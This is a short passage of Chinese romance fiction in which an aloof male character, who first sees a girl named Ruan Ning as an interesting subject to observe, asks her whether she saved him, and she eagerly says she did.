他对社会各地域、阶层、群体没有任何归属感,并不会因为同在一所大学上课产生亲切之感。直到他在步宸和江翊皓那里再次看到了同样的照片,他忽然意识到这个女孩或许是个有趣的观察研究对象。
他抬头看了一眼一眼委屈巴巴的阮柠:“刚刚是你救的我?”
阮柠像忙不迭吸了下鼻子,双眸立刻变的亮晶晶的,响亮地回答:“对对对!是我没错。”